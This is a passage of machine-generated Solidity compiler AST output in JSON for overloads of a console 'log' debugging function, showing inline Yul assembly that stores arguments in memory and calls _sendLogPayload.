535:4:22","nodeType":"YulLiteral","src":"182535:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"182541:2:22","nodeType":"YulIdentifier","src":"182541:2:22"}],"functionName":{"name":"mstore","nativeSrc":"182528:6:22","nodeType":"YulIdentifier","src":"182528:6:22"},"nativeSrc":"182528:16:22","nodeType":"YulFunctionCall","src":"182528:16:22"},"nativeSrc":"182528:16:22","nodeType":"YulExpressionStatement","src":"182528:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"182564:4:22","nodeType":"YulLiteral","src":"182564:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"182570:2:22","nodeType":"YulIdentifier","src":"182570:2:22"}],"functionName":{"name":"mstore","nativeSrc":"182557:6:22","nodeType":"YulIdentifier","src":"182557:6:22"},"nativeSrc":"182557:16:22","nodeType":"YulFunctionCall","src":"182557:16:22"},"nativeSrc":"182557:16:22","nodeType":"YulExpressionStatement","src":"182557:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"182593:4:22","nodeType":"YulLiteral","src":"182593:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"182599:2:22","nodeType":"YulIdentifier","src":"182599:2:22"}],"functionName":{"name":"mstore","nativeSrc":"182586:6:22","nodeType":"YulIdentifier","src":"182586:6:22"},"nativeSrc":"182586:16:22","nodeType":"YulFunctionCall","src":"182586:16:22"},"nativeSrc":"182586:16:22","nodeType":"YulExpressionStatement","src":"182586:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"182622:4:22","nodeType":"YulLiteral","src":"182622:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"182628:2:22","nodeType":"YulIdentifier","src":"182628:2:22"}],"functionName":{"name":"mstore","nativeSrc":"182615:6:22","nodeType":"YulIdentifier","src":"182615:6:22"},"nativeSrc":"182615:16:22","nodeType":"YulFunctionCall","src":"182615:16:22"},"nativeSrc":"182615:16:22","nodeType":"YulExpressionStatement","src":"182615:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39766,"isOffset":false,"isSlot":false,"src":"182280:2:22","valueSize":1},{"declaration":39769,"isOffset":false,"isSlot":false,"src":"182310:2:22","valueSize":1},{"declaration":39772,"isOffset":false,"isSlot":false,"src":"182340:2:22","valueSize":1},{"declaration":39775,"isOffset":false,"isSlot":false,"src":"182370:2:22","valueSize":1},{"declaration":39778,"isOffset":false,"isSlot":false,"src":"182400:2:22","valueSize":1},{"declaration":39756,"isOffset":false,"isSlot":false,"src":"182541:2:22","valueSize":1},{"declaration":39758,"isOffset":false,"isSlot":false,"src":"182570:2:22","valueSize":1},{"declaration":39760,"isOffset":false,"isSlot":false,"src":"182599:2:22","valueSize":1},{"declaration":39762,"isOffset":false,"isSlot":false,"src":"182628:2:22","valueSize":1}],"id":39780,"nodeType":"InlineAssembly","src":"182257:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39782,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"182666:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":39783,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"182672:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":39781,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"182650:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39784,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"182650:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39785,"nodeType":"ExpressionStatement","src":"182650:27:22"},{"AST":{"nativeSrc":"182696:156:22","nodeType":"YulBlock","src":"182696:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"182717:4:22","nodeType":"YulLiteral","src":"182717:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"182723:2:22","nodeType":"YulIdentifier","src":"182723:2:22"}],"functionName":{"name":"mstore","nativeSrc":"182710:6:22","nodeType":"YulIdentifier","src":"182710:6:22"},"nativeSrc":"182710:16:22","nodeType":"YulFunctionCall","src":"182710:16:22"},"nativeSrc":"182710:16:22","nodeType":"YulExpressionStatement","src":"182710:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"182746:4:22","nodeType":"YulLiteral","src":"182746:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"182752:2:22","nodeType":"YulIdentifier","src":"182752:2:22"}],"functionName":{"name":"mstore","nativeSrc":"182739:6:22","nodeType":"YulIdentifier","src":"182739:6:22"},"nativeSrc":"182739:16:22","nodeType":"YulFunctionCall","src":"182739:16:22"},"nativeSrc":"182739:16:22","nodeType":"YulExpressionStatement","src":"182739:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"182775:4:22","nodeType":"YulLiteral","src":"182775:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"182781:2:22","nodeType":"YulIdentifier","src":"182781:2:22"}],"functionName":{"name":"mstore","nativeSrc":"182768:6:22","nodeType":"YulIdentifier","src":"182768:6:22"},"nativeSrc":"182768:16:22","nodeType":"YulFunctionCall","src":"182768:16:22"},"nativeSrc":"182768:16:22","nodeType":"YulExpressionStatement","src":"182768:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"182804:4:22","nodeType":"YulLiteral","src":"182804:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"182810:2:22","nodeType":"YulIdentifier","src":"182810:2:22"}],"functionName":{"name":"mstore","nativeSrc":"182797:6:22","nodeType":"YulIdentifier","src":"182797:6:22"},"nativeSrc":"182797:16:22","nodeType":"YulFunctionCall","src":"182797:16:22"},"nativeSrc":"182797:16:22","nodeType":"YulExpressionStatement","src":"182797:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"182833:4:22","nodeType":"YulLiteral","src":"182833:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"182839:2:22","nodeType":"YulIdentifier","src":"182839:2:22"}],"functionName":{"name":"mstore","nativeSrc":"182826:6:22","nodeType":"YulIdentifier","src":"182826:6:22"},"nativeSrc":"182826:16:22","nodeType":"YulFunctionCall","src":"182826:16:22"},"nativeSrc":"182826:16:22","nodeType":"YulExpressionStatement","src":"182826:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39766,"isOffset":false,"isSlot":false,"src":"182723:2:22","valueSize":1},{"declaration":39769,"isOffset":false,"isSlot":false,"src":"182752:2:22","valueSize":1},{"declaration":39772,"isOffset":false,"isSlot":false,"src":"182781:2:22","valueSize":1},{"declaration":39775,"isOffset":false,"isSlot":false,"src":"182810:2:22","valueSize":1},{"declaration":39778,"isOffset":false,"isSlot":false,"src":"182839:2:22","valueSize":1}],"id":39786,"nodeType":"InlineAssembly","src":"182687:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"182087:3:22","parameters":{"id":39763,"nodeType":"ParameterList","parameters":[{"constant":false,"id":39756,"mutability":"mutable","name":"p0","nameLocation":"182096:2:22","nodeType":"VariableDeclaration","scope":39788,"src":"182091:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39755,"name":"bool","nodeType":"ElementaryTypeName","src":"182091:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39758,"mutability":"mutable","name":"p1","nameLocation":"182105:2:22","nodeType":"VariableDeclaration","scope":39788,"src":"182100:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":39757,"name":"bool","nodeType":"ElementaryTypeName","src":"182100:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":39760,"mutability":"mutable","name":"p2","nameLocation":"182117:2:22","nodeType":"VariableDeclaration","scope":39788,"src":"182109:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39759,"name":"uint256","nodeType":"ElementaryTypeName","src":"182109:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":39762,"mutability":"mutable","name":"p3","nameLocation":"182129:2:22","nodeType":"VariableDeclaration","scope":39788,"src":"182121:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":39761,"name":"uint256","nodeType":"ElementaryTypeName","src":"182121:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"182090:42:22"},"returnParameters":{"id":39764,"nodeType":"ParameterList","parameters":[],"src":"182147:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":39828,"nodeType":"FunctionDefinition","src":"182864:1328:22","nodes":[],"body":{"id":39827,"nodeType":"Block","src":"182933:1259:22","nodes":[],"statements":[{"assignments":[39800],"declarations":[{"constant":false,"id":39800,"mutability":"mutable","name":"m0","nameLocation":"182951:2:22","nodeType":"VariableDeclaration","scope":39827,"src":"182943:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39799,"name":"bytes32","nodeType":"ElementaryTypeName","src":"182943:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39801,"nodeType":"VariableDeclarationStatement","src":"182943:10:22"},{"assignments":[39803],"declarations":[{"constant":false,"id":39803,"mutability":"mutable","name":"m1","nameLocation":"182971:2:22","nodeType":"VariableDeclaration","scope":39827,"src":"182963:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39802,"name":"bytes32","nodeType":"ElementaryTypeName","src":"182963:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39804,"nodeType":"VariableDeclarationStatement","src":"182963:10:22"},{"assignments":[39806],"declarations":[{"constant":false,"id":39806,"mutability":"mutable","name":"m2","nameLocation":"182991:2:22","nodeType":"VariableDeclaration","scope":39827,"src":"182983:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39805,"name":"bytes32","nodeType":"ElementaryTypeName","src":"182983:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39807,"nodeType":"VariableDeclarationStatement","src":"182983:10:22"},{"assignments":[39809],"declarations":[{"constant":false,"id":39809,"mutability":"mutable","name":"m3","nameLocation":"183011:2:22","nodeType":"VariableDeclaration","scope":39827,"src":"183003:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39808,"name":"bytes32","nodeType":"ElementaryTypeName","src":"183003:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39810,"nodeType":"VariableDeclarationStatement","src":"183003:10:22"},{"assignments":[39812],"declarations":[{"constant":false,"id":39812,"mutability":"mutable","name":"m4","nameLocation":"183031:2:22","nodeType":"VariableDeclaration","scope":39827,"src":"183023:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39811,"name":"bytes32","nodeType":"ElementaryTypeName","src":"183023:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39813,"nodeType":"VariableDeclarationStatement","src":"183023:10:22"},{"assignments":[39815],"declarations":[{"constant":false,"id":39815,"mutability":"mutable","name":"m5","nameLocation":"183051:2:22","nodeType":"VariableDeclaration","scope":39827,"src":"183043:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39814,"name":"bytes32","nodeType":"ElementaryTypeName","src":"183043:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39816,"nodeType":"VariableDeclarationStatement","src":"183043:10:22"},{"assignments":[39818],"declarations":[{"constant":false,"id":39818,"mutability":"mutable","name":"m6","nameLocation":"183071:2:22","nodeType":"VariableDeclaration","scope":39827,"src":"183063:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":39817,"name":"bytes32","nodeType":"ElementaryTypeName","src":"183063:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":39819,"nodeType":"VariableDeclarationStatement","src":"183063:10:22"},{"AST":{"nativeSrc":"183092:825:22","nodeType":"YulBlock","src":"183092:825:22","statements":[{"body":{"nativeSrc":"183135:313:22","nodeType":"YulBlock","src":"183135:313:22","statements":[{"nativeSrc":"183153:15:22","nodeType":"YulVariableDeclaration","src":"183153:15:22","value":{"kind":"number","nativeSrc":"183167:1:22","nodeType":"YulLiteral","src":"183167:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"183157:6:22","nodeType":"YulTypedName","src":"183157:6:22","type":""}]},{"body":{"nativeSrc":"183238:40:22","nodeType":"YulBlock","src":"183238:40:22","statements":[{"body":{"nativeSrc":"183267:9:22","nodeType":"YulBlock","src":"183267:9:22","statements":[{"nativeSrc":"183269:5:22","nodeType":"YulBreak","src":"183269:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"183255:6:22","nodeType":"YulIdentifier","src":"183255:6:22"},{"name":"w","nativeSrc":"183263:1:22","nodeType":"YulIdentifier","src":"183263:1:22"}],"functionName":{"name":"byte","nativeSrc":"183250:4:22","nodeType":"YulIdentifier","src":"183250:4:22"},"nativeSrc":"183250:15:22","nodeType":"YulFunctionCall","src":"183250:15:22"}],"functionName":{"name":"iszero","nativeSrc":"183243:6:22","nodeType":"YulIdentifier","src":"183243:6:22"},"nativeSrc":"183243:23:22","nodeType":"YulFunctionCall","src":"183243:23:22"},"nativeSrc":"183240:36:22","nodeType":"YulIf","src":"183240:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"183195:6:22","nodeType":"YulIdentifier","src":"183195:6:22"},{"kind":"number","nativeSrc":"183203:4:22","nodeType":"YulLiteral","src":"183203:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"183192:2:22","nodeType":"YulIdentifier","src":"183192:2:22"},"nativeSrc":"183192:16:22","nodeType":"YulFunctionCall","src":"183192:16:22"},"nativeSrc":"183185:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"183209:28:22","nodeType":"YulBlock","src":"183209:28:22","statements":[{"nativeSrc":"183211:24:22","nodeType":"YulAssignment","src":"183211:24:22","value":{"arguments":[{"name":"length","nativeSrc":"183225:6:22","nodeType":"YulIdentifier","src":"183225:6:22"},{"kind":"number","nativeSrc":"183233:1:22","nodeType":"YulLiteral","src":"183233:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"183221:3:22","nodeType":"YulIdentifier","src":"183221:3:22"},"nativeSrc":"183221:14:22","nodeType":"YulFunctionCall","src":"183221:14:22"},"variableNames":[{"name":"length","nativeSrc":"183211:6:22","nodeType":"YulIdentifier","src":"183211:6:22"}]}]},"pre":{"nativeSrc":"183189:2:22","nodeType":"YulBlock","src":"183189:2:22","statements":[]},"src":"183185:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"183302:3:22","nodeType":"YulIdentifier","src":"183302:3:22"},{"name":"length","nativeSrc":"183307:6:22","nodeType":"YulIdentifier","src":"183307:6:22"}],"functionName":{"name":"mstore","nativeSrc":"183295:6:22","nodeType":"YulIdentifier","src":"183295:6:22"},"nativeSrc":"183295:19:22","nodeType":"YulFunctionCall","src":"183295:19:22"},"nativeSrc":"183295:19:22","nodeType":"YulExpressionStatement","src":"183295:19:22"},{"nativeSrc":"183331:37:22","nodeType":"YulVariableDeclaration","src":"183331:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"183348:3:22","nodeType":"YulLiteral","src":"183348:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"183357:1:22","nodeType":"YulLiteral","src":"183357:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"183360:6:22","nodeType":"YulIdentifier","src":"183360:6:22"}],"functionName":{"name":"shl","nativeSrc":"183353:3:22","nodeType":"YulIdentifier","src":"183353:3:22"},"nativeSrc":"183353:14:22","nodeType":"YulFunctionCall","src":"183353:14:22"}],"functionName":{"name":"sub","nativeSrc":"183344:3:22","nodeType":"YulIdentifier","src":"183344:3:22"},"nativeSrc":"183344:24:22","nodeType":"YulFunctionCall","src":"183344:24:22"},"variables":[{"name":"shift","nativeSrc":"183335:5:22","nodeType":"YulTypedName","src":"183335:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"183396:3:22","nodeType":"YulIdentifier","src":"183396:3:22"},{"kind":"number","nativeSrc":"183401:4:22","nodeType":"YulLiteral","src":"183401:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"183392:3:22","nodeType":"YulIdentifier","src":"183392:3:22"},"nativeSrc":"183392:14:22","nodeType":"YulFunctionCall","src":"183392:14:22"},{"arguments":[{"name":"shift","nativeSrc":"183412:5:22","nodeType":"YulIdentifier","src":"183412:5:22"},{"arguments":[{"name":"shift","nativeSrc":"183423:5:22","nodeType":"YulIdentifier","src":"183423:5:22"},{"name":"w","nativeSrc":"183430:1:22","nodeType":"YulIdentifier","src":"183430:1:22"}],"functionName":{"name":"shr","nativeSrc":"183419:3:22","nodeType":"YulIdentifier","src":"183419:3:22"},"nativeSrc":"183419:13:22","nodeType":"YulFunctionCall","src":"183419:13:22"}],"functionName":{"name":"shl","nativeSrc":"183408:3:22","nodeType":"YulIdentifier","src":"183408:3:22"},"nativeSrc":"183408:25:22","nodeType":"YulFunctionCall","src":"183408:25:22"}],"functionName":{"name":"mstore","nativeSrc":"183385:6:22","nodeType":"YulIdentifier","src":"183385:6:22"},"nativeSrc":"183385:49:22","nodeType":"YulFunctionCall","src":"183385:49:22"},"nativeSrc":"183385:49:22","nodeType":"YulExpressionStatement","src":"183385:49:22"}]},"name":"writeString","nativeSrc":"183106:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"183127:3:22","nodeType":"YulTypedName","src":"183127:3:22","type":""},{"name":"w","nativeSrc":"183132:1:22","nodeType":"YulTypedName","src":"183132:1:22","type":""}],"src":"183106:342:22"},{"nativeSrc":"183461:17:22","nodeType":"YulAssignment","src":"183461:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"183473:4:22","nodeType":"YulLiteral","src":"183473:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"183467:5:22","nodeType":"YulIdentifier","src":"183467:5:22"},"nativeSrc":"183467:11:22","nodeType":"YulFunctionCall","src":"183467:11:22"},"variableNames":[{"name":"m0","nativeSrc":"183461:2:22","nodeType":"YulIdentifier","src":"183461:2:22"}]},{"nativeSrc":"183491:17:22","nodeType":"YulAssignment","src":"183491:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"183503:4:22","nodeType":"YulLiteral","src":"183503:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"183497:5:22","nodeType":"YulIdentifier","src":"183497:5:22"},"nativeSrc":"183497:11:22","nodeType":"YulFunctionCall","src":"183497:11:22"},"variableNames":[{"name":"m1","nativeSrc":"183491:2:22","nodeType":"YulIdentifier","src":"183491:2:22"}]},{"nativeSrc":"183521:17:22","nodeType":"YulAssignment","src":"183521:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"183533:4:22","nodeType":"YulLiteral","src":"183533:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"183527:5:22","nodeType":"YulIdentifier","src":"183527:5:22"},"nativeSrc":"183527:11:22","nodeType":"YulFunctionCall","src":"183527:11:22"},"variableNames":[{"name":"m2","nativeSrc":"183521:2:22","nodeType":"YulIdentifier","src":"183521:2:22"}]},{"nativeSrc":"183551:17:22","nodeType":"YulAssignment","src":"183551:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"183563:4:22","nodeType":"YulLiteral","src":"183563:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"183557:5:22","nodeType":"YulIdentifier","src":"183557:5:22"},"nativeSrc":"183557:11:22","nodeType":"YulFunctionCall","src":"183557:11:22"},"variableNames":[{"name":"m3","nativeSrc":"183551:2:22","nodeType":"YulIdentifier","src":"183551:2:22"}]},{"nativeSrc":"183581:17:22","nodeType":"YulAssignment","src":"183581:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"183593:4:22","nodeType":"YulLiteral","src":"183593:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"183587:5:22","nodeType":"YulIdentifier","src":"183587:5:22"},"nativeSrc":"183587:11:22","nodeType":"YulFunctionCall","src":"183587:11:22"},"variableNames":[{"name":"m4","nativeSrc":"183581:2:22","nodeType":"YulIdentifier","src":"183581:2:22"}]},{"nativeSrc":"183611:17:22","nodeType":"YulAssignment","src":"183611:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"183623:4:22","nodeType":"YulLiteral","src":"183623:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"183617:5:22","nodeType":"YulIdentifier","src":"183617:5:22"},"nativeSrc":"183617:11:22","nodeType":"YulFunctionCall","src":"183617:11:22"},"variableNames":[{"name":"m5","nativeSrc":"183611:2:22","nodeType":"YulIdentifier","src":"183611:2:22"}]},{"nativeSrc":"183641:17:22","nodeType":"YulAssignment","src":"183641:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"183653:4:22","nodeType":"YulLiteral","src":"183653:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"183647:5:22","nodeType":"YulIdentifier","src":"183647:5:22"},"nativeSrc":"183647:11:22","nodeType":"YulFunctionCall","src":"183647:11:22"},"variableNames":[{"name":"m6","nativeSrc":"183641:2:22","nodeType":"YulIdentifier","src":"183641:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"183738:4:22","nodeType":"YulLiteral","src":"183738:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"183744:10:22","nodeType":"YulLiteral","src":"183744:10:22","type":"","value":"0x7dd4d0e0"}],"functionName":{"name":"mstore","nativeSrc":"183731:6:22","nodeType":"YulIdentifier","src":"183731:6:22"},"nativeSrc":"183731:24:22","nodeType":"YulFunctionCall","src":"183731:24:22"},"nativeSrc":"183731:24:22","nodeType":"YulExpressionStatement","src":"183731:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"183775:4:22","nodeType":"YulLiteral","src":"183775:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"183781:2:22","nodeType":"YulIdentifier","src":"183781:2:22"}],"functionName":{"name":"mstore","nativeSrc":"183768:6:22","nodeType":"YulIdentifier","src":"183768:6:22"},"nativeSrc":"183768:16:22","nodeType":"YulFunctionCall","src":"183768:16:22"},"nativeSrc":"183768:16:22","nodeType":"YulExpressionStatement","src":"183768:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"183804:4:22","nodeType":"YulLiteral","src":"183804:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"183810:2:22","nodeType":"YulIdentifier","src":"183810:2:22"}],"functionName":{"name":"mstore","nativeSrc":"183797:6:22","nodeType":"YulIdentifier","src":"183797:6:22"},"nativeSrc":"183797:16:22","nodeType":"YulFunctionCall","src":"183797:16:22"},"nativeSrc":"183797:16:22","nodeType":"YulExpressionStatement","src":"183797:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"183833:4:22","nodeType":"YulLiteral","src":"183833:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"183839:2:22","nodeType":"YulIdentifier","src":"183839:2:22"}],"functionName":{"name":"mstore","nativeSrc":"183826:6:22","nodeType":"YulIdentifier","src":"183826:6:22"},"nativeSrc":"183826:16:22","nodeType":"YulFunctionCall","src":"183826:16:22"},"nativeSrc":"183826:16:22","nodeType":"YulExpressionStatement","src":"183826:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"183862:4:22","nodeType":"YulLiteral","src":"183862:4:22","type":"","value":"0x80"},{"kind":"number","nativeSrc":"183868:4:22","nodeType":"YulLiteral","src":"183868:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"183855:6:22","nodeType":"YulIdentifier","src":"183855:6:22"},"nativeSrc":"183855:18:22","nodeType":"YulFunctionCall","src":"183855:18:22"},"nativeSrc":"183855:18:22","nodeType":"YulExpressionStatement","src":"183855:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"183898:4:22","nodeType":"YulLiteral","src":"183898:4:22","type":"","value":"0xa0"},{"name":"p3","nativeSrc":"183904:2:22","nodeType":"YulIdentifier","src":"183904:2:22"}],"functionName":{"name":"writeString","nativeSrc":"183886:11:22","nodeType":"YulIdentifier","src":"183886:11:22"},"nativeSrc":"183886:21:22","nodeType":"YulFunctionCall","src":"183886:21:22"},"nativeSrc":"183886:21:22","nodeType":"YulExpressionStatement","src":"183886:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":39800,"isOffset":false,"isSlot":false,"src":"183461:2:22","valueSize":1},{"declaration":39803,"isOffset":false,"isSlot":false,"src":"183491:2:22","valueSize":1},{"declaration":39806,"isOffset":false,"isSlot":false,"src":"183521:2:22","valueSize":1},{"declaration":39809,"isOffset":false,"isSlot":false,"src":"183551:2:22","valueSize":1},{"declaration":39812,"isOffset":false,"isSlot":false,"src":"183581:2:22","valueSize":1},{"declaration":39815,"isOffset":false,"isSlot":false,"src":"183611:2:22","valueSize":1},{"declaration":39818,"isOffset":false,"isSlot":false,"src":"183641:2:22","valueSize":1},{"declaration":39790,"isOffset":false,"isSlot":false,"src":"183781:2:22","valueSize":1},{"declaration":39792,"isOffset":false,"isSlot":false,"src":"183810:2:22","valueSize":1},{"declaration":39794,"isOffset":false,"isSlot":false,"src":"183839:2:22","valueSize":1},{"declaration":39796,"isOffset":false,"isSlot":false,"src":"183904:2:22","valueSize":1}],"id":39820,"nodeType":"InlineAssembly","src":"183083:834:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":39822,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"183942:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":39823,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"183948:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":39821,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"183926:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":39824,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"183926:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":39825,"nodeType":"ExpressionStatement","src":"183926:27:22"},{"AST":{"nativeSrc":"183972:214:22","nodeType":"YulBlock","src":"183972:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"183993:4:22","nodeType":"YulLiteral","src":"183993:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"183999:2:22","nodeType":"YulIdentifier","src":"183999:2:22"}],"functionName":{"name":"mstore","nativeSrc":"183986:6:22","nodeType":"YulIdentifier","src":"183986:6:22"},"nativeSrc":"183986:16:22","nodeType":"YulFunctionCall","src":"183986:16:22"},"nativeSrc":"183986:16:22","nodeType":"YulExpressionStatement","src":"183986:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"184022:4:22","nodeType":"YulLiteral","src":"184022:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"184028:2:22","nodeType":"YulIdentifier","src":"184028:2:22"}],"functionName":{"name":"mstore","nativeSrc":"184015:6:22","nodeType":"YulIdentifier","src":"184015:6:22"},"nativeSrc":"184015:16:22","nodeType":"YulFunctionCall","src":"184015:16:22"},"nativeSrc":"184015:16:22","nodeType":"YulExpressionStatement","src":"184015:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"184051:4:22","nodeType":"YulLiteral","src":"184051:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"184057:2:22","nodeType":"YulIdentifier","src":"184